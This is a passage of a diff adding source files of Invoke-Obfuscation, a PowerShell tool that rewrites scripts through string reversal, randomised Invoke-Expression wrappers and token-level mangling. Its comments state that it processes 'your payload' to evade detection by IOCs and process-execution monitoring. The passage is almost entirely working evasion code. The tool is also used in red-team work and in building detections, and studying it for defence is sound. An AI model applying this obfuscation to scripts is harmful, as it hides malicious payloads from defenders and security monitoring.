Out-RandomCase 'char' + $RightToLeftStr = Out-RandomCase 'righttoleft' + $RegexStr = Out-RandomCase 'regex' + $MatchesStr = Out-RandomCase 'matches' + $ValueStr = Out-RandomCase 'value' + $ForEachObject = Out-RandomCase (Get-Random -Input @('ForEach-Object','ForEach','%')) + + # Select random method for building command to reverse the now-reversed $ScriptString to execute the original command. + Switch(Get-Random -Input (1..3)) { + 1 { + # 1) $StringVar = $String; $StringVar[-1..-($StringVar.Length)] -Join '' + + # Replace placeholder with appropriate value for this Switch statement. + $RandomVarSet = $RandomVarSet.Replace($RandomVarValPlaceholder,('"' + ' '*(Get-Random -Input @(0,1)) + $ScriptStringReversed + ' '*(Get-Random -Input @(0,1)) + '"')) + + # Set $ScriptStringReversed as environment variable $Random. + $ScriptString = $RandomVarSet + ' '*(Get-Random -Input @(0,1)) + ';' + ' '*(Get-Random -Input @(0,1)) + + $RandomVarGet = $RandomVarGet + '[' + ' '*(Get-Random -Input @(0,1)) + '-' + ' '*(Get-Random -Input @(0,1)) + '1' + ' '*(Get-Random -Input @(0,1)) + '..' + ' '*(Get-Random -Input @(0,1)) + '-' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + ".$LengthStr" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ']' + + # Build out random syntax depending on whether -Join is prepended or -Join '' is appended. + # Now also includes [String]::Join .Net syntax and [String] syntax after modifying $OFS variable to ''. + $JoinOptions = @() + $JoinOptions += "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + $JoinOptions += $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + "''" + $JoinOptions += "[$StringStr]::$JoinStr" + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $RandomVarGet) + ' '*(Get-Random -Input @(0,1)) + ')' + $JoinOptions += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + "[$StringStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + $JoinOption = (Get-Random -Input $JoinOptions) + + # Encapsulate in necessary IEX/Invoke-Expression(s). + $JoinOption = Out-EncapsulatedInvokeExpression $JoinOption + + $ScriptString = $ScriptString + $JoinOption + } + 2 { + # 2) $StringVar = [Char[]]$String; [Array]::Reverse($StringVar); $StringVar -Join '' + + # Replace placeholder with appropriate value for this Switch statement. + $RandomVarSet = $RandomVarSet.Replace($RandomVarValPlaceholder,("[$CharStr[" + ' '*(Get-Random -Input @(0,1)) + ']' + ' '*(Get-Random -Input @(0,1)) + ']' + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptStringReversed + '"')) + + # Set $ScriptStringReversed as environment variable $Random. + $ScriptString = $RandomVarSet + ' '*(Get-Random -Input @(0,1)) + ';' + ' '*(Get-Random -Input @(0,1)) + $ScriptString = $ScriptString + ' '*(Get-Random -Input @(0,1)) + "[$ArrayStr]::$ReverseStr(" + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ';' + + # Build out random syntax depending on whether -Join is prepended or -Join '' is appended. + # Now also includes [String]::Join .Net syntax and [String] syntax after modifying $OFS variable to ''. + $JoinOptions = @() + $JoinOptions += "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + $JoinOptions += $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + "''" + $JoinOptions += "[$StringStr]::$JoinStr" + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + ')' + $JoinOptions += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + "[$StringStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomVarGet + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + $JoinOption = (Get-Random -Input $JoinOptions) + + # Encapsulate in necessary IEX/Invoke-Expression(s). + $JoinOption = Out-EncapsulatedInvokeExpression $JoinOption + + $ScriptString = $ScriptString + $JoinOption + } + 3 { + # 3) -Join[Regex]::Matches($String,'.','RightToLeft') + + # Randomly choose to use 'RightToLeft' or concatenated version of this string in $JoinOptions below. + If(Get-Random -Input (0..1)) + { + $RightToLeft = Out-ConcatenatedString $RightToLeftStr "'" + } + Else + { + $RightToLeft = "'$RightToLeftStr'" + } + + # Build out random syntax depending on whether -Join is prepended or -Join '' is appended. + # Now also includes [String]::Join .Net syntax and [String] syntax after modifying $OFS variable to ''. + $JoinOptions = @() + $JoinOptions += ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + "[$RegexStr]::$MatchesStr(" + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptStringReversed + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + "'.'" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $RightToLeft + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $JoinOptions += ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + "[$RegexStr]::$MatchesStr(" + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptStringReversed + '"' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + "'.'" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $RightToLeft + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + "-$JoinStr" + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $JoinOptions += ' '*(Get-Random -Input @(0,1)) + "[$StringStr]::$JoinStr(" + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + "[$RegexStr]::$MatchesStr(" + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptStringReversed + '"' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + "'.'" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $RightToLeft + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '$_' + ".$ValueStr" + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $JoinOptions += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + "[$StringStr]" + ' '*(Get-Random -Input @(0,1)) + "[$RegexStr]::$MatchesStr(" + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptStringReversed + '"' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + "'.'" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $RightToLeft + ' '*(Get-Random -Input @(0,1)) + ")" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '$_' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + $ScriptString = (Get-Random -Input $JoinOptions) + + # Encapsulate in necessary IEX/Invoke-Expression(s). + $ScriptString = Out-EncapsulatedInvokeExpression $ScriptString + } + default {Write-Error "An invalid value was passed to switch block."; Exit;} + } + + # Perform final check to remove ticks if they now precede lowercase special characters after the string is reversed. + # E.g. "testin`G" in reverse would be "G`nitset" where `n would be interpreted as a newline character. + $SpecialCharacters = @('a','b','f','n','r','t','v','0') + ForEach($SpecialChar in $SpecialCharacters) + { + If($ScriptString.Contains("``"+$SpecialChar)) + { + $ScriptString = $ScriptString.Replace("``"+$SpecialChar,$SpecialChar) + } + } + + Return $ScriptString +} + + +Function Out-EncapsulatedInvokeExpression +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Generates random syntax for invoking input PowerShell command. + +Invoke-Obfuscation Function: Out-EncapsulatedInvokeExpression +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncapsulatedInvokeExpression generates random syntax for invoking input PowerShell command. It uses a combination of IEX and Invoke-Expression as well as ordering (IEX $Command , $Command | IEX). + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.EXAMPLE + +C:\PS> Out-EncapsulatedInvokeExpression {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} + +Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green|Invoke-Expression + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedStringCommand function with the corresponding obfuscation level since Out-Out-ObfuscatedStringCommand will handle calling this current function where necessary. +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 1 +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 2 +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString + ) + + # The below code block is copy/pasted into almost every encoding function so they can maintain zero dependencies and work on their own (I admit using this bad coding practice). + # Changes to below InvokeExpressionSyntax block should also be copied to those functions. + # Generate random invoke operation syntax. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = Out-RandomCase $InvokeExpression + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $ScriptString + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $ScriptString + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $ScriptString = (Get-Random -Input $InvokeOptions) + + Return $ScriptString +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1 new file mode 100644 index 000000000..9fb48ef8f --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1 @@ -0,0 +1,2102 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-ObfuscatedTokenCommand +{ +<# +.SYNOPSIS + +Master function that orchestrates the tokenization and application of all token-based obfuscation functions to provided PowerShell script. + +Invoke-Obfuscation Function: Out-ObfuscatedTokenCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedTokenCommand orchestrates the tokenization and application of all token-based obfuscation functions to provided PowerShell script and places obfuscated tokens back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. If no $TokenTypeToObfuscate is defined then Out-ObfuscatedTokenCommand will automatically perform ALL token obfuscation functions in random order at the highest obfuscation level. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER TokenTypeToObfuscate + +(Optional) Specifies the token type to obfuscate ('Command', 'CommandArgument', 'Comment', 'Member', 'String', 'Type', 'Variable', 'RandomWhitespace'). If not defined then Out-ObfuscatedTokenCommand will automatically perform ALL token obfuscation functions in random order at the highest obfuscation level. + +.PARAMETER ObfuscationLevel + +(Optional) Specifies the obfuscation level for the given TokenTypeToObfuscate. If not defined then Out-ObfuscatedTokenCommand will automatically perform obfuscation function at the highest available obfuscation level. +Each token has different available obfuscation levels: +'Argument' 1-4 +'Command' 1-3 +'Comment' 1 +'Member' 1-4 +'String' 1-2 +'Type' 1-2 +'Variable' 1 +'Whitespace' 1 +'All' 1 + +.EXAMPLE + +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} + +.( "{0}{2}{1}" -f'Write','t','-Hos' ) ( 'Hell' + 'o ' +'Wor'+ 'ld!' ) -ForegroundColor ( "{1}{0}" -f 'een','Gr') ; .( "{1}{2}{0}"-f'ost','Writ','e-H' ) ( 'O' + 'bfusca'+ 't' + 'ion Rocks' + '!') -ForegroundColor ( "{1}{0}"-f'een','Gr' ) + +.NOTES + +Out-ObfuscatedTokenCommand orchestrates the tokenization and application of all token-based obfuscation functions to provided PowerShell script and places obfuscated tokens back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. If no $TokenTypeToObfuscate is defined then Out-ObfuscatedTokenCommand will automatically perform ALL token obfuscation functions in random order at the highest obfuscation level. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [ValidateSet('Member', 'Command', 'CommandArgument', 'String', 'Variable', 'Type', 'RandomWhitespace', 'Comment')] + [Parameter(Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $TokenTypeToObfuscate, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Int] + $ObfuscationLevel = 10 # Default to highest obfuscation level if $ObfuscationLevel isn't defined + ) + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # If $TokenTypeToObfuscate was not defined then we will automate randomly calling all available obfuscation functions in Out-ObfuscatedTokenCommand. + If($TokenTypeToObfuscate.Length -eq 0) + { + # All available obfuscation token types (minus 'String') currently supported in Out-ObfuscatedTokenCommand. + # 'Comment' and 'String' will be manually added first and second respectively for reasons defined below. + # 'RandomWhitespace' will be manually added last for reasons defined below. + $ObfuscationChoices = @() + $ObfuscationChoices += 'Member' + $ObfuscationChoices += 'Command' + $ObfuscationChoices += 'CommandArgument' + $ObfuscationChoices += 'Variable' + $ObfuscationChoices += 'Type' + + # Create new array with 'String' plus all obfuscation types above in random order. + $ObfuscationTypeOrder = @() + # Run 'Comment' first since it will be the least number of tokens to iterate through, and comments may be introduced as obfuscation technique in future revisions. + $ObfuscationTypeOrder += 'Comment' + # Run 'String' second since otherwise we will have unnecessary command bloat since other obfuscation functions create additional strings. + $ObfuscationTypeOrder += 'String' + $ObfuscationTypeOrder += (Get-Random -Input $ObfuscationChoices -Count $ObfuscationChoices.Count) + + # Apply each randomly-ordered $ObfuscationType from above step. + ForEach($ObfuscationType in $ObfuscationTypeOrder) + { + $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock]::Create($ScriptString)) $ObfuscationType $ObfuscationLevel + } + Return $ScriptString + } + + # Parse out and obfuscate tokens (in reverse to make indexes simpler for adding in obfuscated tokens). + $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) + + # Handle fringe case of retrieving count of all tokens used when applying random whitespace. + $TokenCount = ([System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq $TokenTypeToObfuscate}).Count + $TokensForInsertingWhitespace = @('Operator','GroupStart','GroupEnd','StatementSeparator') + + # Script-wide variable ($Script:TypeTokenScriptStringGrowth) to speed up Type token obfuscation by avoiding having to re-tokenize ScriptString for every token. + # This is because we are appending variable instantiation at the beginning of each iteration of ScriptString. + # Additional script-wide variable ($Script:TypeTokenVariableArray) allows each unique Type token to only be set once per command/script for efficiency and to create less items to create indicators off of. + $Script:TypeTokenScriptStringGrowth = 0 + $Script:TypeTokenVariableArray = @() + + If($TokenTypeToObfuscate -eq 'RandomWhitespace') + { + # If $TokenTypeToObfuscate='RandomWhitespace' then calculate $TokenCount for output by adding token count for all tokens in $TokensForInsertingWhitespace. + $TokenCount = 0 + ForEach($TokenForInsertingWhitespace in $TokensForInsertingWhitespace) + { + $TokenCount += ([System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq $TokenForInsertingWhitespace}).Count + } + } + + # Handle fringe case of outputting verbiage consistent with options presented in Invoke-Obfuscation. + If($TokenCount -gt 0) + { + # To be consistent with verbiage in Invoke-Obfuscation we will print Argument/Whitespace instead of CommandArgument/RandomWhitespace. + $TokenTypeToObfuscateToPrint = $TokenTypeToObfuscate + If($TokenTypeToObfuscateToPrint -eq 'CommandArgument') {$TokenTypeToObfuscateToPrint = 'Argument'} + If($TokenTypeToObfuscateToPrint -eq 'RandomWhitespace') {$TokenTypeToObfuscateToPrint = 'Whitespace'} + If($TokenCount -gt 1) {$Plural = 's'} + Else {$Plural = ''} + + # Output verbiage concerning which $TokenType is currently being obfuscated and how many tokens of each type are left to obfuscate. + # This becomes more important when obfuscated large scripts where obfuscation can take several minutes due to all of the randomization steps. + Write-Host "`n[*] Obfuscating $($TokenCount)" -NoNewLine + Write-Host " $TokenTypeToObfuscateToPrint" -NoNewLine -ForegroundColor Yellow + Write-Host " token$Plural." + } + + # Variables for outputting status of token processing for large token counts when obfuscating large scripts. + $Counter = $TokenCount + $OutputCount = 0 + $IterationsToOutputOn = 100 + $DifferenceForEvenOutput = $TokenCount % $IterationsToOutputOn + + For($i=$Tokens.Count-1; $i -ge 0; $i--) + { + $Token = $Tokens[$i] + + # Extra output for large scripts with several thousands tokens (like Invoke-Mimikatz). + If(($TokenCount -gt $IterationsToOutputOn*2) -AND ((($TokenCount-$Counter)-($OutputCount*$IterationsToOutputOn)) -eq ($IterationsToOutputOn+$DifferenceForEvenOutput))) + { + $OutputCount++ + $ExtraWhitespace = ' '*(([String]($TokenCount)).Length-([String]$Counter).Length) + If($Counter -gt 0) + { + Write-Host "[*] $ExtraWhitespace$Counter" -NoNewLine + Write-Host " $TokenTypeToObfuscateToPrint" -NoNewLine -ForegroundColor Yellow + Write-Host " tokens remaining to obfuscate." + } + } + + $ObfuscatedToken = "" + + If(($Token.Type -eq 'String') -AND ($TokenTypeToObfuscate.ToLower() -eq 'string')) + { + $Counter-- + + # If String $Token immediately follows a period (and does not begin $ScriptString) then do not obfuscate as a String. + # In this scenario $Token is originally a Member token that has quotes added to it. + # E.g. both InvokeCommand and InvokeScript in $ExecutionContext.InvokeCommand.InvokeScript + If(($Token.Start -gt 0) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '.')) + { + Continue + } + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + # The below Parameter Binding Validation Attributes cannot have their string values formatted with the -f format operator unless treated as a scriptblock. + # When we find strings following these Parameter Binding Validation Attributes then if we are using a -f format operator we will treat the result as a scriptblock. + # Source: https://technet.microsoft.com/en-us/library/hh847743.aspx + $ParameterValidationAttributesToTreatStringAsScriptblock = @() + $ParameterValidationAttributesToTreatStringAsScriptblock += 'alias' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'allownull' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'allowemptystring' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'allowemptycollection' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatecount' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatelength' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatepattern' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validaterange' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatescript' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validateset' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatenotnull' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'validatenotnullorempty' + + $ParameterValidationAttributesToTreatStringAsScriptblock += 'helpmessage' + $ParameterValidationAttributesToTreatStringAsScriptblock += 'outputtype' + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-ObfuscatedStringTokenLevel1 $ScriptString $Token 1} + 2 {$ScriptString = Out-ObfuscatedStringTokenLevel1 $ScriptString $Token 2} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + + } + ElseIf(($Token.Type -eq 'Member') -AND ($TokenTypeToObfuscate.ToLower() -eq 'member')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2,3,4) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + # The below Parameter Attributes cannot be obfuscated like other Member Tokens, so we will only randomize the case of these tokens. + # Source 1: https://technet.microsoft.com/en-us/library/hh847743.aspx + $MemberTokensToOnlyRandomCase = @() + $MemberTokensToOnlyRandomCase += 'mandatory' + $MemberTokensToOnlyRandomCase += 'position' + $MemberTokensToOnlyRandomCase += 'parametersetname' + $MemberTokensToOnlyRandomCase += 'valuefrompipeline' + $MemberTokensToOnlyRandomCase += 'valuefrompipelinebypropertyname' + $MemberTokensToOnlyRandomCase += 'valuefromremainingarguments' + $MemberTokensToOnlyRandomCase += 'helpmessage' + $MemberTokensToOnlyRandomCase += 'alias' + # Source 2: https://technet.microsoft.com/en-us/library/hh847872.aspx + $MemberTokensToOnlyRandomCase += 'confirmimpact' + $MemberTokensToOnlyRandomCase += 'defaultparametersetname' + $MemberTokensToOnlyRandomCase += 'helpuri' + $MemberTokensToOnlyRandomCase += 'supportspaging' + $MemberTokensToOnlyRandomCase += 'supportsshouldprocess' + $MemberTokensToOnlyRandomCase += 'positionalbinding' + + $MemberTokensToOnlyRandomCase += 'ignorecase' + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-RandomCaseToken $ScriptString $Token} + 2 {$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token} + 3 {$ScriptString = Out-ObfuscatedMemberTokenLevel3 $ScriptString $Tokens $i 1} + 4 {$ScriptString = Out-ObfuscatedMemberTokenLevel3 $ScriptString $Tokens $i 2} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($Token.Type -eq 'CommandArgument') -AND ($TokenTypeToObfuscate.ToLower() -eq 'commandargument')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2,3,4) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-RandomCaseToken $ScriptString $Token} + 2 {$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token} + 3 {$ScriptString = Out-ObfuscatedCommandArgumentTokenLevel3 $ScriptString $Token 1} + 4 {$ScriptString = Out-ObfuscatedCommandArgumentTokenLevel3 $ScriptString $Token 2} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($Token.Type -eq 'Command') -AND ($TokenTypeToObfuscate.ToLower() -eq 'command')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2,3) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + # If a variable is encapsulated in curly braces (e.g. ${ExecutionContext}) then the string inside is treated as a Command token. + # So we will force tick obfuscation (option 1) instead of splatting (option 2) as that would cause errors. + If(($Token.Start -gt 1) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '{') -AND ($ScriptString.SubString($Token.Start+$Token.Length,1) -eq '}')) + { + $ObfuscationLevel = 1 + } + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = 